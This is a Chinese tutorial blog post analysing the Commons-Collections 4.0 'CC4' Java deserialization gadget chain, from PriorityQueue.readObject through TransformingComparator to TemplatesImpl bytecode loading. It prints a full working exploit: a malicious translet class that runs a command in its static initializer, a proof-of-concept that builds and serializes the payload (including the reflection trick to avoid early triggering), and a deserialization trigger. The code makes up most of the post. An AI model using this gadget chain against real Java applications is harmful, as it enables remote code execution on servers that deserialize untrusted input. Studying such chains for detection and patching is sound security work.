Commons-Collections篇-CC4链分析

前言

因为 CommonsCollections4 除 4.0 的其他版本去掉了 InvokerTransformer 继承 Serializable,导致该方法无法序列化。
同时 CommonsCollections 4的版本 TransformingComparator 继承了 Serializable接口,而CommonsCollections 3里是没有的,所以命令执行点还是一致的
可以在transform()的上一步中用TransformingComparator来代替

1.环境安装

CommonsCollections = 4.0
在pom.xml中加入4.0版本的依赖并加载

<dependencies>
    <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
    <dependency>
        <groupId>org.apache.commons</groupId>
        <artifactId>commons-collections4</artifactId>
        <version>4.0</version>
    </dependency>
</dependencies>

在这里插入图片描述

2.分析

我们继续在transform()处find usage,找到了TransformingComparator#compare()
在这里插入图片描述
在这里插入图片描述
这是我们常见的方法,我们继续往前找,在PriorityQueue#siftDownUsingComparator()方法找到了compare()的调用
在这里插入图片描述
在这里插入图片描述
这段代码是一个泛型方法,用于执行堆数据结构中的下沉操作,通常是堆排序算法和优先队列的一部分
我们继续查看调用情况,我们找到了同类中的heapify方法进行了调用
在这里插入图片描述
并且我们发现了PriorityQueue类的readObject方法
在这里插入图片描述
所以目前的路线已经清楚了
PriorityQueue#readObject —> PriorityQueue#heapify() —> PriorityQueue#siftDownUsingComparator() —>TransformingComparator.compare()

再加上我们在CC3中分析的就组成了一条利用链
Commons-Collections篇-CC3链
InstantiateTransformer.transform() —>TemplatesImpl.newTransformer() —> defineClass()->newInstance()

3.解决报错

首先编译一个恶意类用来执行命令

package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Calc extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e){
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}



package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

public class CC4 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class ca = templates.getClass();
        Field name = ca.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"admin");

        Field byteField = ca.getDeclaredField("_bytecodes");
        byteField.setAccessible(true);
        byte[] evil = Files.readAllBytes(Paths.get("D:\\bianyi\\pycharm\\IDEA\\Projects\\untitled1\\target\\classes\\org\\example\\Calc.class"));
        byte[][] codes = {evil};
        byteField.set(templates,codes);

        Field tfactory = ca.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

//        templates.newTransformer();
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
                new Object[]{templates});
//        instantiateTransformer.transform(TrAXFilter.class);
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

        //序列化
        serializable(priorityQueue);

        unserializable();
    }
    private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{
        FileInputStream fis = new FileInputStream("obj");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object o = ois.readObject();
        return o;
    }

    private static void serializable(Object o) throws IOException, ClassNotFoundException{
        FileOutputStream fos = new FileOutputStream("obj");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(o);
        os.close();

    }
}

直接执行却没有触发计算器
我们进行调试发现在下图的步骤中跳出,并没有继续执行下去
在这里插入图片描述
首先要执行for循环,i>=0。i的取值又取决于表达式 i = (n >>> 1) - 1,这是一个赋值操作,其中 n >>> 1 是将 n 无符号右移一位的结果,然后从这个结果中减去 1 来得到 i 的值,所以n>=2的时候,咱们的i就符合条件了。

而n的值是Size 就是 PriorityQueue 这个队列的长度,所以咱们尝试往队列中添加两个值

priorityQueue.add(1);  
priorityQueue.add(2);
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

public class CC4 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class ca = templates.getClass();
        Field name = ca.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"admin");

        Field byteField = ca.getDeclaredField("_bytecodes");
        byteField.setAccessible(true);
        byte[] evil = Files.readAllBytes(Paths.get("D:\\bianyi\\pycharm\\IDEA\\Projects\\untitled1\\target\\classes\\org\\example\\Calc.class"));
        byte[][] codes = {evil};
        byteField.set(templates,codes);

        Field tfactory = ca.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

//        templates.newTransformer();
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
                new Object[]{templates});
//        instantiateTransformer.transform(TrAXFilter.class);
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);

        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);
        //序列化
//        serializable(priorityQueue);
//
//        unserializable();
    }
    private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{
        FileInputStream fis = new FileInputStream("obj");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object o = ois.readObject();
        return o;
    }

    private static void serializable(Object o) throws IOException, ClassNotFoundException{
        FileOutputStream fos = new FileOutputStream("obj");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(o);
        os.close();

    }
}

我们直接运行,发现在没有序列化之前就已经运行出计算器,同时还出现了报错
在这里插入图片描述
我们打下断点进行调试分析原因,发现在进行添加第二个数值的时候触发了compare()

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述所以我们可以按照之前几次分析的思路,先进行一次无效的赋值,让他正常运行,但不进行操作,在最后重新通过反射赋值回来

Class c = transformingComparator.getClass();
Field trans = c.getDeclaredField("transformer");
trans.setAccessible(true);
trans.set(transformingComparator,chainedTransformer);

分析出计算器的弹出之后,同时在这次的代码中最后可以舍弃_tfactory的赋值,因为之前在CC3中我们的分析,刚开始进行了templates.newTransformer()操作,并没有进行反序列化,我们需要自己提前对他进行赋值,才能运行成功。

在刚开始的反序列化中,jvm会对涉及的类如果有readObject的时候会默认构建,在TemplatesImpl类中,readObject有一个赋值操作,所以我们不用再进行相关操作了
在这里插入图片描述

4.编写POC

我们对上面的进行总结,编写POC

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

public class CC4 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class ca = templates.getClass();
        Field name = ca.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"admin");

        Field byteField = ca.getDeclaredField("_bytecodes");
        byteField.setAccessible(true);
        byte[] evil = Files.readAllBytes(Paths.get("D:\\bianyi\\pycharm\\IDEA\\Projects\\untitled1\\target\\classes\\org\\example\\Calc.class"));
        byte[][] codes = {evil};
        byteField.set(templates,codes);

//        Field tfactory = ca.getDeclaredField("_tfactory");
//        tfactory.setAccessible(true);
//        tfactory.set(templates,new TransformerFactoryImpl());

//        templates.newTransformer();
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
                new Object[]{templates});
//        instantiateTransformer.transform(TrAXFilter.class);
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);

        Class c = transformingComparator.getClass();
        Field trans = c.getDeclaredField("transformer");
        trans.setAccessible(true);
        trans.set(transformingComparator,chainedTransformer);
        //序列化
        serializable(priorityQueue);
//
//        unserializable();
    }
    private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{
        FileInputStream fis = new FileInputStream("obj");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object o = ois.readObject();
        return o;
    }

    private static void serializable(Object o) throws IOException, ClassNotFoundException{
        FileOutputStream fos = new FileOutputStream("obj");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(o);
        os.close();

    }
}

我们运行反序列化POC,成功弹出

package org.example;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class Main {
    public static void main(String[] args) throws Exception {
        //命令执行代码
        unserializable();
    }

    private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{
        FileInputStream fis = new FileInputStream("obj");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object o = ois.readObject();
        return o;
    }

}

在这里插入图片描述
所以这次的链还是比较简单的,整体路线为:

PriorityQueue.readObject()
    PririPriorityQueuety.heapify()
        PririPriorityQueuety.siftDown()
            PririPriorityQueuety.siftDownUsingComparator()
                Comparator.compare()
                    instantiateTransformer.compare()
                    instantiateTransformer.transform()
                            TrAXFilter.TrAXFilter()
                                TemplatesImpl.newTransformer()
                                    definclass -> newInstance()

本系列历史文章

反序列化之路-URLDNS

Commons-Collections篇-CC1链小白基础分析学习

CC1链补充-LazyMap

Commons-Collections篇-CC6链分析

Commons-Collections篇-CC3链

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/709836.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【中台】数字中台整体建设技术方案(doc原件获取)

1. 中台概念 2. 推动企业组织模式演进 3. 建设方法 4 .中台内容 5. 数据安全体系 中台内容围绕数据中台建设评估、整体框架、数据采集&#xff0c;结构化、半结构化、非结构化的数据采集&#xff0c;数据计算能力、存储计算引擎、数据架构、数据挖掘、各种不同数据层建设、模型…

火爆全网《pvz植物大战僵尸杂交版》最新安装包,支持Android、Windows、iOS!

我是阿星&#xff0c;今天跟大家聊聊最近在B站火得一塌糊涂的老游戏——《植物大战僵尸》。你没听错&#xff0c;就是那个曾经让我们熬夜奋战&#xff0c;一关又一关的游戏。 话说回来&#xff0c;这游戏怎么就突然又火起来了呢&#xff1f; 原来&#xff0c;是因为它的最新整…

54.Python-web框架-Django-免费模板django-datta-able

1.Datta Able Django介绍 Detta Able Djiango是什么 Datta Able Django 是一个由AppSeed提供的开源Django管理面板&#xff0c;基于现代设计&#xff0c;为开发者提供了一流的功能和优雅的界面。它源自CodedThemes的高风格化Bootstrap 4模板——Datta Able Bootstrap Lite&…

手机在网状态-手机在网状态查询-手机在网站状态接口

查询手机号在网状态&#xff0c;返回正常使用、停机、未启用/在网但不可用、不在网&#xff08;销号/未启用/异常&#xff09;、预销户等多种状态 直连三大运营商&#xff0c;实时更新&#xff0c;可查询实时在网状态 高准确率-实时更新&#xff0c;准确率99.99% 接口地址&…

MySQL与PostgreSQL关键对比四(关联查询性能)

引言&#xff1a;MySQL单表的数据规模一般建议在百万级别&#xff0c;而PostgreSQL的单表级别一般可以到亿级&#xff0c;如果是MPP版本就会更多。从基础数据建议上&#xff0c;不难看出&#xff0c;MySQL在Join的情况下也就是主要查询的情况下性能和PostgreSQL相差还是很大的。…

Minecraft模组开发(fabric)之准备工作

Minecraft模组开发&#xff08;fabric&#xff09;之准备工作 最近心血来潮想开发个Minecraft的模组&#xff0c;一边学习一边开发&#xff0c;顺带着将一些步骤、学习心得整理下来。之所以选择fabric&#xff0c;是因为自己的光影包使用的是iris-fabric&#xff0c;所以就想着…

蓝牙耳机怎么连接电脑?轻松实现无线连接

蓝牙耳机已经成为许多人生活中不可或缺的一部分&#xff0c;不仅可以方便地连接手机&#xff0c;还能轻松连接电脑&#xff0c;让我们在工作和娱乐时享受无线的自由。然而&#xff0c;对于一些用户来说&#xff0c;将蓝牙耳机与电脑连接可能会遇到一些问题。本文将介绍蓝牙耳机…

[Java基本语法] 抽象类与接口

&#x1f338;个人主页:https://blog.csdn.net/2301_80050796?spm1000.2115.3001.5343 &#x1f3f5;️热门专栏:&#x1f355; Collection与数据结构 (92平均质量分)https://blog.csdn.net/2301_80050796/category_12621348.html?spm1001.2014.3001.5482 &#x1f9c0;线程与…

SuperMap iClient3D 11i(2023) SP1 for Cesium 调整

SuperMap iClient3D 11i(2023) SP1 for Cesium 最新版本 下载地址 SuperMap技术资源中心|为您提供全面的在线技术服务 每一次版本升级,都要对代码进行修改调整,都是为了解决功能需求。当然,也为产品做了小白鼠测试,发现bug,优化功能。 由于前端开发使用的是dojo框架,类…

Node入门以及express创建项目

前言 记录学习NodeJS 一、NodeJS是什么&#xff1f; Node.js 是一个开源和跨平台的 JavaScript 运行时环境 二、下载NodeJs 1.下载地址(一直点击next即可&#xff0c;记得修改安装地址) https://nodejs.p2hp.com/download/ 2.查看是否安装成功&#xff0c;打开命令行 nod…

图像的几何变换之平移

文章目录 前言需求代码运行结果图 前言 图像的几何变换是一个再基础不过的知识点&#xff0c;包括等距变换&#xff0c;相似变换&#xff0c;仿射变换和投影变换。图像的几何变换是指对图像的位置&#xff0c;尺寸&#xff0c;大小&#xff0c;形状和投影进行变换&#xff0c;…

FastWeb - Lua开源跨平台网站开发服务

在网站开发领域&#xff0c;大家都熟知PHPStudy和宝塔这两款广受欢迎的工具&#xff0c;但今天我要介绍的是一款功能强大、支持跨平台的开源Lua网站开发服务——Fast Web&#xff0c;以及与之配套的网站管理器。 Fast Web简介 Fast Web是一款基于Lua编写的网站开发框架&#…

requests post json/data;requests response 接收不同数据

1、requests post json/data 在Python的requests库中&#xff0c;当你发送POST请求时&#xff0c;可以选择使用json参数或data参数来传递数据。这两者之间的主要区别在于它们如何被序列化和发送到服务器。 json参数&#xff1a; 当你使用json参数时&#xff0c;requests库会自…

TF-IDF算法详细介绍

TF-IDF&#xff08;Term Frequency-Inverse Document Frequency&#xff09;是一种用于信息检索和文本挖掘的统计方法&#xff0c;旨在评估一个词在文档集合或语料库中的重要性。它是计算机科学和文本分析中最常用的特征提取技术之一。本文将详细介绍TF-IDF的基本概念、计算方法…

MyBatis-Plus学习总结

一.快速入门 (一)简介 MyBatis-Plus (opens new window)&#xff08;简称 MP&#xff09;是一个 MyBatis (opens new window) 的增强工具&#xff0c;在 MyBatis 的基础上只做增强不做改变&#xff0c;为简化开发、提高效率而生。 (二)快速入门 1.准备数据库脚本 2.准备bo…

交易文本数据:情感分析 -另类数据交易- 舆情数据

交易文本数据:情感分析 这是三章中的第一章,专门介绍使用自然语言处理(NLP)和机器学习从文本数据中提取交易策略信号。 文本数据内容丰富但高度非结构化,因此需要更多预处理才能使ML算法提取相关信息。一个关键挑战是在不丢失其含义的情况下将文本转换为数值格式。我们将介绍…

从大量文本中挖掘‘典型意见‘-基于DBSCAN的文本聚类实战

文本聚类,是一个无监督学习里面非常重要的课题,无论是在风控还是在其他业务中,通过对大规模文本数据的分析,找出里面的聚集观点,有助于发现新的问题或者重点问题。 通过对评论文本的分析,我们可以发现消费者关注的产品或服务痛点 通过对店铺商品标题的文本聚类,可以知…

RS485和CAN电路中的TVS管选择

在RS485和CAN电路设计中&#xff0c;经常要考虑“静电和浪涌保护”&#xff0c;怎么选择TVS管&#xff0c;很少有人讲解。 1、先了解TVS管 TVS管有单向管和双向管&#xff0c;通常后缀为CA的是双向TVS管&#xff0c;只有字母A的是单向TVS管。见下图&#xff1a; 2、TVS选择依…

【LeetCode:2786. 访问数组中的位置使分数最大 + 递归 + 记忆化缓存 + dp】

&#x1f680; 算法题 &#x1f680; &#x1f332; 算法刷题专栏 | 面试必备算法 | 面试高频算法 &#x1f340; &#x1f332; 越难的东西,越要努力坚持&#xff0c;因为它具有很高的价值&#xff0c;算法就是这样✨ &#x1f332; 作者简介&#xff1a;硕风和炜&#xff0c;…

关于element-plus中el-select自定义标签及样式的问题

关于element-plus中el-select自定义标签及样式的问题 我这天天的都遇到各种坑&#xff0c;关于自定义&#xff0c;我直接复制粘贴代码都实现不了&#xff0c;研究了一下午&#xff0c;骂骂咧咧了一下午&#xff0c;服气了。官网代码实现不了&#xff0c;就只能 “ 曲线救国 ”…